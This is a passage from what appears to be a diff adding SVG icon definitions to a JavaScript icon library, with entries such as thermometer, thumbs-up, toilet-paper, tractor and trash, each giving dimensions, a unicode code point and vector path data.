3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L209 167.4l-45.1 45.4L214 263c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-50.1-50.2L96 281.1V382L7 471c-9.4 9.4-9.4 24.6 0 33.9 9.4 9.4 24.6 9.4 33.9 0l89-89h99.9L484 162.6c34.9-34.9 42.2-101.5-7.2-142.2z" ], + "thermometer-empty": [ 256, 512, [], "f2cb", "M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-35.346 28.654-64 64-64s64 28.654 64 64zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z" ], + "thermometer-full": [ 256, 512, [], "f2c7", "M224 96c0-53.019-42.981-96-96-96S32 42.981 32 96v203.347C12.225 321.756.166 351.136.002 383.333c-.359 70.303 56.787 128.176 127.089 128.664.299.002.61.003.909.003 70.698 0 128-57.304 128-128 0-32.459-12.088-62.09-32-84.653V96zm-96 368l-.576-.002c-43.86-.304-79.647-36.544-79.423-80.42.173-33.98 19.266-51.652 31.999-66.08V96c0-26.467 21.533-48 48-48s48 21.533 48 48v221.498c12.63 14.312 32 32.164 32 66.502 0 44.112-35.888 80-80 80zm64-80c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V96c0-17.673 14.327-32 32-32s32 14.327 32 32v232.583c19.124 11.068 32 31.732 32 55.417z" ], + "thermometer-half": [ 256, 512, [], "f2c9", "M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V224c0-17.673 14.327-32 32-32s32 14.327 32 32v104.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z" ], + "thermometer-quarter": [ 256, 512, [], "f2ca", "M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V288c0-17.673 14.327-32 32-32s32 14.327 32 32v40.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z" ], + "thermometer-three-quarters": [ 256, 512, [], "f2c8", "M192 384c0 35.346-28.654 64-64 64-35.346 0-64-28.654-64-64 0-23.685 12.876-44.349 32-55.417V160c0-17.673 14.327-32 32-32s32 14.327 32 32v168.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z" ], + "thumbs-down": [ 512, 512, [], "f165", "M0 56v240c0 13.255 10.745 24 24 24h80c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56zm40 200c0-13.255 10.745-24 24-24s24 10.745 24 24-10.745 24-24 24-24-10.745-24-24zm272 256c-20.183 0-29.485-39.293-33.931-57.795-5.206-21.666-10.589-44.07-25.393-58.902-32.469-32.524-49.503-73.967-89.117-113.111a11.98 11.98 0 0 1-3.558-8.521V59.901c0-6.541 5.243-11.878 11.783-11.998 15.831-.29 36.694-9.079 52.651-16.178C256.189 17.598 295.709.017 343.995 0h2.844c42.777 0 93.363.413 113.774 29.737 8.392 12.057 10.446 27.034 6.148 44.632 16.312 17.053 25.063 48.863 16.382 74.757 17.544 23.432 19.143 56.132 9.308 79.469l.11.11c11.893 11.949 19.523 31.259 19.439 49.197-.156 30.352-26.157 58.098-59.553 58.098H350.723C358.03 364.34 384 388.132 384 430.548 384 504 336 512 312 512z" ], + "thumbs-up": [ 512, 512, [], "f164", "M104 224H24c-13.255 0-24 10.745-24 24v240c0 13.255 10.745 24 24 24h80c13.255 0 24-10.745 24-24V248c0-13.255-10.745-24-24-24zM64 472c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zM384 81.452c0 42.416-25.97 66.208-33.277 94.548h101.723c33.397 0 59.397 27.746 59.553 58.098.084 17.938-7.546 37.249-19.439 49.197l-.11.11c9.836 23.337 8.237 56.037-9.308 79.469 8.681 25.895-.069 57.704-16.382 74.757 4.298 17.598 2.244 32.575-6.148 44.632C440.202 511.587 389.616 512 346.839 512l-2.845-.001c-48.287-.017-87.806-17.598-119.56-31.725-15.957-7.099-36.821-15.887-52.651-16.178-6.54-.12-11.783-5.457-11.783-11.998v-213.77c0-3.2 1.282-6.271 3.558-8.521 39.614-39.144 56.648-80.587 89.117-113.111 14.804-14.832 20.188-37.236 25.393-58.902C282.515 39.293 291.817 0 312 0c24 0 72 8 72 81.452z" ], + thumbtack: [ 384, 512, [], "f08d", "M298.028 214.267L285.793 96H328c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H56C42.745 0 32 10.745 32 24v48c0 13.255 10.745 24 24 24h42.207L85.972 214.267C37.465 236.82 0 277.261 0 328c0 13.255 10.745 24 24 24h136v104.007c0 1.242.289 2.467.845 3.578l24 48c2.941 5.882 11.364 5.893 14.311 0l24-48a8.008 8.008 0 0 0 .845-3.578V352h136c13.255 0 24-10.745 24-24-.001-51.183-37.983-91.42-85.973-113.733z" ], + "ticket-alt": [ 576, 512, [], "f3ff", "M128 160h320v192H128V160zm400 96c0 26.51 21.49 48 48 48v96c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48v-96c26.51 0 48-21.49 48-48s-21.49-48-48-48v-96c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48v96c-26.51 0-48 21.49-48 48zm-48-104c0-13.255-10.745-24-24-24H120c-13.255 0-24 10.745-24 24v208c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V152z" ], + times: [ 352, 512, [], "f00d", "M242.72 256l100.07-100.07c12.28-12.28 12.28-32.19 0-44.48l-22.24-22.24c-12.28-12.28-32.19-12.28-44.48 0L176 189.28 75.93 89.21c-12.28-12.28-32.19-12.28-44.48 0L9.21 111.45c-12.28 12.28-12.28 32.19 0 44.48L109.28 256 9.21 356.07c-12.28 12.28-12.28 32.19 0 44.48l22.24 22.24c12.28 12.28 32.2 12.28 44.48 0L176 322.72l100.07 100.07c12.28 12.28 32.2 12.28 44.48 0l22.24-22.24c12.28-12.28 12.28-32.19 0-44.48L242.72 256z" ], + "times-circle": [ 512, 512, [], "f057", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm121.6 313.1c4.7 4.7 4.7 12.3 0 17L338 377.6c-4.7 4.7-12.3 4.7-17 0L256 312l-65.1 65.6c-4.7 4.7-12.3 4.7-17 0L134.4 338c-4.7-4.7-4.7-12.3 0-17l65.6-65-65.6-65.1c-4.7-4.7-4.7-12.3 0-17l39.6-39.6c4.7-4.7 12.3-4.7 17 0l65 65.7 65.1-65.6c4.7-4.7 12.3-4.7 17 0l39.6 39.6c4.7 4.7 4.7 12.3 0 17L312 256l65.6 65.1z" ], + tint: [ 352, 512, [], "f043", "M205.22 22.09c-7.94-28.78-49.44-30.12-58.44 0C100.01 179.85 0 222.72 0 333.91 0 432.35 78.72 512 176 512s176-79.65 176-178.09c0-111.75-99.79-153.34-146.78-311.82zM176 448c-61.75 0-112-50.25-112-112 0-8.84 7.16-16 16-16s16 7.16 16 16c0 44.11 35.89 80 80 80 8.84 0 16 7.16 16 16s-7.16 16-16 16z" ], + "tint-slash": [ 640, 512, [], "f5c7", "M633.82 458.1L494.97 350.78c.52-5.57 1.03-11.16 1.03-16.87 0-111.76-99.79-153.34-146.78-311.82-7.94-28.78-49.44-30.12-58.44 0-15.52 52.34-36.87 91.96-58.49 125.68L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM144 333.91C144 432.35 222.72 512 320 512c44.71 0 85.37-16.96 116.4-44.7L162.72 255.78c-11.41 23.5-18.72 48.35-18.72 78.13z" ], + tired: [ 496, 512, [], "f5c8", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 189.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 208l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM248 288c51.9 0 115.3 43.8 123.2 106.7 1.7 13.6-8 24.6-17.7 20.4-25.9-11.1-64.4-17.4-105.5-17.4s-79.6 6.3-105.5 17.4c-9.8 4.2-19.4-7-17.7-20.4C132.7 331.8 196.1 288 248 288z" ], + "toggle-off": [ 576, 512, [], "f204", "M384 64H192C85.961 64 0 149.961 0 256s85.961 192 192 192h192c106.039 0 192-85.961 192-192S490.039 64 384 64zM64 256c0-70.741 57.249-128 128-128 70.741 0 128 57.249 128 128 0 70.741-57.249 128-128 128-70.741 0-128-57.249-128-128zm320 128h-48.905c65.217-72.858 65.236-183.12 0-256H384c70.741 0 128 57.249 128 128 0 70.74-57.249 128-128 128z" ], + "toggle-on": [ 576, 512, [], "f205", "M384 64H192C86 64 0 150 0 256s86 192 192 192h192c106 0 192-86 192-192S490 64 384 64zm0 320c-70.8 0-128-57.3-128-128 0-70.8 57.3-128 128-128 70.8 0 128 57.3 128 128 0 70.8-57.3 128-128 128z" ], + toilet: [ 384, 512, [], "f7d8", "M368 48c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H16C7.2 0 0 7.2 0 16v16c0 8.8 7.2 16 16 16h16v156.7C11.8 214.8 0 226.9 0 240c0 67.2 34.6 126.2 86.8 160.5l-21.4 70.2C59.1 491.2 74.5 512 96 512h192c21.5 0 36.9-20.8 30.6-41.3l-21.4-70.2C349.4 366.2 384 307.2 384 240c0-13.1-11.8-25.2-32-35.3V48h16zM80 72c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H88c-4.4 0-8-3.6-8-8V72zm112 200c-77.1 0-139.6-14.3-139.6-32s62.5-32 139.6-32 139.6 14.3 139.6 32-62.5 32-139.6 32z" ], + "toilet-paper": [ 576, 512, [], "f71e", "M128 0C74.98 0 32 85.96 32 192v172.07c0 41.12-9.8 62.77-31.17 126.87C-2.62 501.3 5.09 512 16.01 512h280.92c13.77 0 26-8.81 30.36-21.88 12.83-38.48 24.71-72.4 24.71-126.05V192c0-83.6 23.67-153.52 60.44-192H128zM96 224c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zM480 0c-53.02 0-96 85.96-96 192s42.98 192 96 192 96-85.96 96-192S533.02 0 480 0zm0 256c-17.67 0-32-28.65-32-64s14.33-64 32-64 32 28.65 32 64-14.33 64-32 64z" ], + "toilet-paper-slash": [ 640, 512, [], "e072", "M64,192V364.13c0,41.12-9.75,62.75-31.12,126.87A16,16,0,0,0,48,512H328.86a31.87,31.87,0,0,0,30.38-21.87c9.31-27.83,18-53.35,22.18-85.55l-316-244.25C64.53,170.66,64,181.19,64,192ZM633.82,458.09l-102-78.81C575.28,360.91,608,284.32,608,192,608,86,565,0,512,0s-96,86-96,192c0,42,7,80.4,18.43,112L384,265V192c0-83.62,23.63-153.5,60.5-192H160c-23.33,0-44.63,16.83-61.26,44.53L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.45A16,16,0,0,0,6.18,53.91L594.54,508.63A16,16,0,0,0,617,505.81l19.64-25.26A16,16,0,0,0,633.82,458.09ZM512,256c-17.63,0-32-28.62-32-64s14.37-64,32-64,32,28.63,32,64S529.62,256,512,256Z" ], + toolbox: [ 512, 512, [], "f552", "M502.63 214.63l-45.25-45.25c-6-6-14.14-9.37-22.63-9.37H384V80c0-26.51-21.49-48-48-48H176c-26.51 0-48 21.49-48 48v80H77.25c-8.49 0-16.62 3.37-22.63 9.37L9.37 214.63c-6 6-9.37 14.14-9.37 22.63V320h128v-16c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v16h128v-16c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v16h128v-82.75c0-8.48-3.37-16.62-9.37-22.62zM320 160H192V96h128v64zm64 208c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-16H192v16c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-16H0v96c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-96H384v16z" ], + tools: [ 512, 512, [], "f7d9", "M501.1 395.7L384 278.6c-23.1-23.1-57.6-27.6-85.4-13.9L192 158.1V96L64 0 0 64l96 128h62.1l106.6 106.6c-13.6 27.8-9.2 62.3 13.9 85.4l117.1 117.1c14.6 14.6 38.2 14.6 52.7 0l52.7-52.7c14.5-14.6 14.5-38.2 0-52.7zM331.7 225c28.3 0 54.9 11 74.9 31l19.4 19.4c15.8-6.9 30.8-16.5 43.8-29.5 37.1-37.1 49.7-89.3 37.9-136.7-2.2-9-13.5-12.1-20.1-5.5l-74.4 74.4-67.9-11.3L334 98.9l74.4-74.4c6.6-6.6 3.4-17.9-5.7-20.2-47.4-11.7-99.6.9-136.6 37.9-28.5 28.5-41.9 66.1-41.2 103.6l82.1 82.1c8.1-1.9 16.5-2.9 24.7-2.9zm-103.9 82l-56.7-56.7L18.7 402.8c-25 25-25 65.5 0 90.5s65.5 25 90.5 0l123.6-123.6c-7.6-19.9-9.9-41.6-5-62.7zM64 472c-13.2 0-24-10.8-24-24 0-13.3 10.7-24 24-24s24 10.7 24 24c0 13.2-10.7 24-24 24z" ], + tooth: [ 448, 512, [], "f5c9", "M443.98 96.25c-11.01-45.22-47.11-82.06-92.01-93.72-32.19-8.36-63 5.1-89.14 24.33-3.25 2.39-6.96 3.73-10.5 5.48l28.32 18.21c7.42 4.77 9.58 14.67 4.8 22.11-4.46 6.95-14.27 9.86-22.11 4.8L162.83 12.84c-20.7-10.85-43.38-16.4-66.81-10.31-44.9 11.67-81 48.5-92.01 93.72-10.13 41.62-.42 80.81 21.5 110.43 23.36 31.57 32.68 68.66 36.29 107.35 4.4 47.16 10.33 94.16 20.94 140.32l7.8 33.95c3.19 13.87 15.49 23.7 29.67 23.7 13.97 0 26.15-9.55 29.54-23.16l34.47-138.42c4.56-18.32 20.96-31.16 39.76-31.16s35.2 12.85 39.76 31.16l34.47 138.42c3.39 13.61 15.57 23.16 29.54 23.16 14.18 0 26.48-9.83 29.67-23.7l7.8-33.95c10.61-46.15 16.53-93.16 20.94-140.32 3.61-38.7 12.93-75.78 36.29-107.35 21.95-29.61 31.66-68.8 21.53-110.43z" ], + torah: [ 640, 512, [], "f6a0", "M320.05 366.48l17.72-29.64h-35.46zm99.21-166H382.4l18.46 30.82zM48 0C21.49 0 0 14.33 0 32v448c0 17.67 21.49 32 48 32s48-14.33 48-32V32C96 14.33 74.51 0 48 0zm172.74 311.5h36.85l-18.46-30.82zm161.71 0h36.86l-18.45-30.8zM128 464h384V48H128zm66.77-278.13a21.22 21.22 0 0 1 18.48-10.71h59.45l29.13-48.71a21.13 21.13 0 0 1 18.22-10.37A20.76 20.76 0 0 1 338 126.29l29.25 48.86h59.52a21.12 21.12 0 0 1 18.1 32L415.63 256 445 305a20.69 20.69 0 0 1 .24 21.12 21.25 21.25 0 0 1-18.48 10.72h-59.47l-29.13 48.7a21.13 21.13 0 0 1-18.16 10.4 20.79 20.79 0 0 1-18-10.22l-29.25-48.88h-59.5a21.11 21.11 0 0 1-18.1-32L224.36 256 195 207a20.7 20.7 0 0 1-.23-21.13zM592 0c-26.51 0-48 14.33-48 32v448c0 17.67 21.49 32 48 32s48-14.33 48-32V32c0-17.67-21.49-32-48-32zM320 145.53l-17.78 29.62h35.46zm-62.45 55h-36.81l18.44 30.8zm29.58 111h65.79L386.09 256l-33.23-55.52h-65.79L253.9 256z" ], + "torii-gate": [ 512, 512, [], "f6a1", "M376.45 32h-240.9A303.17 303.17 0 0 1 0 0v96c0 17.67 14.33 32 32 32h32v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h48v240c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V256h256v240c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V256h48c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-48v-64h32c17.67 0 32-14.33 32-32V0a303.17 303.17 0 0 1-135.55 32zM128 128h96v64h-96v-64zm256 64h-96v-64h96v64z" ], + tractor: [ 640, 512, [], "f722", "M528 336c-48.6 0-88 39.4-88 88s39.4 88 88 88 88-39.4 88-88-39.4-88-88-88zm0 112c-13.23 0-24-10.77-24-24s10.77-24 24-24 24 10.77 24 24-10.77 24-24 24zm80-288h-64v-40.2c0-14.12 4.7-27.76 13.15-38.84 4.42-5.8 3.55-14.06-1.32-19.49L534.2 37.3c-6.66-7.45-18.32-6.92-24.7.78C490.58 60.9 480 89.81 480 119.8V160H377.67L321.58 29.14A47.914 47.914 0 0 0 277.45 0H144c-26.47 0-48 21.53-48 48v146.52c-8.63-6.73-20.96-6.46-28.89 1.47L36 227.1c-8.59 8.59-8.59 22.52 0 31.11l5.06 5.06c-4.99 9.26-8.96 18.82-11.91 28.72H22c-12.15 0-22 9.85-22 22v44c0 12.15 9.85 22 22 22h7.14c2.96 9.91 6.92 19.46 11.91 28.73l-5.06 5.06c-8.59 8.59-8.59 22.52 0 31.11L67.1 476c8.59 8.59 22.52 8.59 31.11 0l5.06-5.06c9.26 4.99 18.82 8.96 28.72 11.91V490c0 12.15 9.85 22 22 22h44c12.15 0 22-9.85 22-22v-7.14c9.9-2.95 19.46-6.92 28.72-11.91l5.06 5.06c8.59 8.59 22.52 8.59 31.11 0l31.11-31.11c8.59-8.59 8.59-22.52 0-31.11l-5.06-5.06c4.99-9.26 8.96-18.82 11.91-28.72H330c12.15 0 22-9.85 22-22v-6h80.54c21.91-28.99 56.32-48 95.46-48 18.64 0 36.07 4.61 51.8 12.2l50.82-50.82c6-6 9.37-14.14 9.37-22.63V192c.01-17.67-14.32-32-31.99-32zM176 416c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zm22-256h-38V64h106.89l41.15 96H198z" ], + trademark: [ 640, 512, [], "f25c", "M260.6 96H12c-6.6 0-12 5.4-12 12v43.1c0 6.6 5.4 12 12 12h85.1V404c0 6.6 5.4 12 12 12h54.3c6.6 0 12-5.4 12-12V163.1h85.1c6.6 0 12-5.4 12-12V108c.1-6.6-5.3-12-11.9-12zM640 403l-24-296c-.5-6.2-5.7-11-12-11h-65.4c-5.1 0-9.7 3.3-11.3 8.1l-43.8 127.1c-7.2 20.6-16.1 52.8-16.1 52.8h-.9s-8.9-32.2-16.1-52.8l-43.8-127.1c-1.7-4.8-6.2-8.1-11.3-8.1h-65.4c-6.2 0-11.4 4.8-12 11l-24.4 296c-.6 7 4.9 13 12 13H360c6.3 0 11.5-4.9 12-11.2l9.1-132.9c1.8-24.2 0-53.7 0-53.7h.9s10.7 33.6 17.9 53.7l30.7 84.7c1.7 4.7 6.2 7.9 11.3 7.9h50.3c5.1 0 9.6-3.2 11.3-7.9l30.7-84.7c7.2-20.1 17.9-53.7 17.9-53.7h.9s-1.8 29.5 0 53.7l9.1 132.9c.4 6.3 5.7 11.2 12 11.2H628c7 0 12.5-6 12-13z" ], + "traffic-light": [ 384, 512, [], "f637", "M384 192h-64v-37.88c37.2-13.22 64-48.38 64-90.12h-64V32c0-17.67-14.33-32-32-32H96C78.33 0 64 14.33 64 32v32H0c0 41.74 26.8 76.9 64 90.12V192H0c0 41.74 26.8 76.9 64 90.12V320H0c0 42.84 28.25 78.69 66.99 91.05C79.42 468.72 130.6 512 192 512s112.58-43.28 125.01-100.95C355.75 398.69 384 362.84 384 320h-64v-37.88c37.2-13.22 64-48.38 64-90.12zM192 416c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm0-128c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm0-128c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48z" ], + trailer: [ 640, 512, [], "e041", "M624,320H544V80a16,16,0,0,0-16-16H16A16,16,0,0,0,0,80V368a16,16,0,0,0,16,16H65.61c7.83-54.21,54-96,110.39-96s102.56,41.79,110.39,96H624a16,16,0,0,0,16-16V336A16,16,0,0,0,624,320ZM96,243.68a176.29,176.29,0,0,0-32,20.71V136a8,8,0,0,1,8-8H88a8,8,0,0,1,8,8Zm96-18.54c-5.31-.49-10.57-1.14-16-1.14s-10.69.65-16,1.14V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm96,39.25a176.29,176.29,0,0,0-32-20.71V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8ZM384,320H352V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm96,0H448V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm-304,0a80,80,0,1,0,80,80A80,80,0,0,0,176,320Zm0,112a32,32,0,1,1,32-32A32,32,0,0,1,176,432Z" ], + train: [ 448, 512, [], "f238", "M448 96v256c0 51.815-61.624 96-130.022 96l62.98 49.721C386.905 502.417 383.562 512 376 512H72c-7.578 0-10.892-9.594-4.957-14.279L130.022 448C61.82 448 0 403.954 0 352V96C0 42.981 64 0 128 0h192c65 0 128 42.981 128 96zm-48 136V120c0-13.255-10.745-24-24-24H72c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h304c13.255 0 24-10.745 24-24zm-176 64c-30.928 0-56 25.072-56 56s25.072 56 56 56 56-25.072 56-56-25.072-56-56-56z" ], + tram: [ 512, 512, [], "f7da", "M288 64c17.7 0 32-14.3 32-32S305.7 0 288 0s-32 14.3-32 32 14.3 32 32 32zm223.5-12.1c-2.3-8.6-11-13.6-19.6-11.3l-480 128c-8.5 2.3-13.6 11-11.3 19.6C2.5 195.3 8.9 200 16 200c1.4 0 2.8-.2 4.1-.5L240 140.8V224H64c-17.7 0-32 14.3-32 32v224c0 17.7 14.3 32 32 32h384c17.7 0 32-14.3 32-32V256c0-17.7-14.3-32-32-32H272v-91.7l228.1-60.8c8.6-2.3 13.6-11.1 11.4-19.6zM176 384H80v-96h96v96zm160-96h96v96h-96v-96zm-32 0v96h-96v-96h96zM192 96c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z" ], + transgender: [ 384, 512, [], "f224", "M372 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7C198.5 104.1 172.2 96 144 96 64.5 96 0 160.5 0 240c0 68.5 47.9 125.9 112 140.4V408H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v28c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-28h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-27.6c64.1-14.6 112-71.9 112-140.4 0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V12c0-6.6-5.4-12-12-12zM144 320c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z" ], + "transgender-alt": [ 480, 512, [], "f225", "M468 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7C294.5 104.1 268.2 96 240 96c-28.2 0-54.5 8.1-76.7 22.1l-16.5-16.5 19.8-19.8c4.7-4.7 4.7-12.3 0-17l-28.3-28.3c-4.7-4.7-12.3-4.7-17 0l-19.8 19.8-19-19 16.9-16.9C107.1 12.9 101.7 0 91 0H12C5.4 0 0 5.4 0 12v79c0 10.7 12.9 16 20.5 8.5l16.9-16.9 19 19-19.8 19.8c-4.7 4.7-4.7 12.3 0 17l28.3 28.3c4.7 4.7 12.3 4.7 17 0l19.8-19.8 16.5 16.5C104.1 185.5 96 211.8 96 240c0 68.5 47.9 125.9 112 140.4V408h-36c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v28c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-28h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-27.6c64.1-14.6 112-71.9 112-140.4 0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V12c0-6.6-5.4-12-12-12zM240 320c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z" ], + trash: [ 448, 512, [], "f1f8", "M432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zM53.2 467a48 48 0 0 0 47.9 45h245.8a48 48 0 0 0 47.9-45L416 128H32z" ], + "trash-alt": [ 448, 512, [], "f2ed", "M32 464a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128H32zm272-256a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zm-96 0a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zm-96 0a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" ], + "trash-restore": [ 448, 512, [], "f829", "M53.2 467a48 48 0 0 0 47.9 45h245.8a48 48 0 0 0 47.9-45L416 128H32zm70.11-175.8l89.38-94.26a15.41 15.41 0 0 1 22.62 0l89.38 94.26c10.08 10.62 2.94 28.8-11.32 28.8H256v112a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V320h-57.37c-14.26 0-21.4-18.18-11.32-28.8zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" ], + "trash-restore-alt": [ 448, 512, [], "f82a", "M32 464a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128H32zm91.31-172.8l89.38-94.26a15.41 15.41 0 0 1 22.62 0l89.38 94.26c10.08 10.62 2.94 28.8-11.32 28.8H256v112a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V320h-57.37c-14.26 0-21.4-18.18-11.32-28.8zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" ], + tree: [ 384, 512, [], "f1bb", "M378.31 378.49L298.42 288h30.63c9.01 0 16.98-5 20.78-13.06 3.8-8.04 2.55-17.26-3.28-24.05L268.42 160h28.89c9.1 0 17.3-5.35 20.86-13.61 3.52-8.13 1.86-17.59-4.24-24.08L203.66 4.83c-6.03-6.45-17.28-6.45-23.32 0L70.06 122.31c-6.1 6.49-7.75 15.95-4.24 24.08C69.38 154.65 77.59 160 86.69 160h28.89l-78.14 90.91c-5.81 6.78-7.06 15.99-3.27 24.04C37.97 283 45.93 288 54.95 288h30.63L5.69 378.49c-6 6.79-7.36 16.09-3.56 24.26 3.75 8.05 12 13.25 21.01 13.25H160v24.45l-30.29 48.4c-5.32 10.64 2.42 23.16 14.31 